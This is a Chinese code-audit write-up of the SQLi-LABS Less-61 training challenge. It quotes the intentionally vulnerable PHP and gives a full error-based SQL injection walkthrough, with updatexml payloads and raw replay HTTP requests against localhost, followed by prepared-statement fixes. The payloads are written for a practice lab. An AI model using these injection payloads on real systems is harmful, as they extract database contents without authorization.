Less-61 代码审计报告:挑战关-8(三重括号报错注入)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-61/index.php 及配套脚本实际文件一致。

1. 关卡概述

2. 漏洞代码定位

文件: Less-61/index.php

// 第 22-23 行:连接 challenges 库 + 随机表/列工具函数
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
// 第 24 行:关闭 PHP 报错
error_reporting(0);
// 第 27 行:尝试次数上限
$times= 5;

// 第 97 行:注入点——单引号+双重括号包裹
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

// 第 101-115 行:有行则按数组映射显示;失败回显报错
if($row)
{
	...
}
else
{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());   // 第 114 行:报错回显开启
	echo "</font>";
}

关键漏洞点:

• 第 67 行:$id=$_GET['id']; 未过滤。
• 第 97 行:WHERE id=(('$id')) 单引号+双重括号包裹。
• 第 114 行:print_r(mysql_error()) 未注释,报错注入直接带出数据。
• 挑战机制同 Less-54;$times=5,报错注入 3 次即可完成。

3. 漏洞分析

• 输入来源:$_GET['id'],未过滤。
• SQL 拼接位置:WHERE id=(('$id'))。
• 闭合方式:单引号+两重括号。Payload 形如 1')) and updatexml(...)-- -,最终 SQL 为 WHERE id=(('1')) and updatexml(...)-- -'))。
• 是否回显:报错回显开启,用 updatexml 报错注入。
• 挑战机制:同 Less-54;随机表名(10 位 A-Z0-9)、secret_XXXX 列(第 3 列,limit 2,1)、24 位随机 secret。

4. 利用方式

步骤一:判断注入点与闭合

?id=1            → 显示 Dumb
?id=1'))         → 不显示/报错
?id=1'))-- -     → 显示
?id=1')) and updatexml(1,concat(0x7e,1),1)-- -  → 报错 "XPATH syntax error: '~1'"

→ 闭合方式为 1')) and ...-- -,报错可用。

步骤二:报错注入提取表名(第 1 次请求)

?id=1')) and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges' limit 0,1)),1)-- -

预期报错:XPATH syntax error: '~<表名10位>',得到 <T>。

步骤三:报错注入提取 secret 列名(第 2 次请求)

?id=1')) and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='challenges' and table_name='<T>' limit 2,1)),1)-- -

预期报错:XPATH syntax error: '~secret_XXXX'。

步骤四:报错注入提取 24 位 secret 值(第 3 次请求)

?id=1')) and updatexml(1,concat(0x7e,(select secret_XXXX from challenges.<T> limit 0,1)),1)-- -

预期报错:XPATH syntax error: '~<24位secret>',一次拿全。

步骤五:提交答案

POST /sqli-labs/Less-61/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

key=<secret值>&answer_key=Submit

关于次数限制与 reset

• 仅 5 次 ?id= GET;报错注入 3 次完成,余量 2 次;超限重置、随机表重建。

5. Yakit 重放数据包

提取表名:

GET /sqli-labs/Less-61/?id=1%27))%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema='challenges'%20limit%200,1)),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

提取 secret 列名:

GET /sqli-labs/Less-61/?id=1%27))%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema='challenges'%20limit%202,1)),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

提取 secret 值(替换为实际表名/列名):

GET /sqli-labs/Less-61/?id=1%27))%20and%20updatexml(1,concat(0x7e,(select%20secret_XXXX%20from%20challenges.%3CT%3E%20limit%200,1)),1)--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

提交答案:

POST /sqli-labs/Less-61/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Connection: close

key=DUMPED_SECRET_VALUE&answer_key=Submit

说明:%27='、%20=空格、--%20-=-- -、0x7e=~;<T>、secret_XXXX 替换为实际结果。

6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM security.users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

• id 强制整型校验。
• 关闭报错回显(第 114 行),错误写日志、页面统一 500。
• 注入账号仅授权 security 库;升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

• 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
• 复现前需:配置 sql-connections/db-creds.inc、通过 setup-db-challenge.php 初始化挑战库、使用支持 mysql_* 的 PHP 5.x 环境。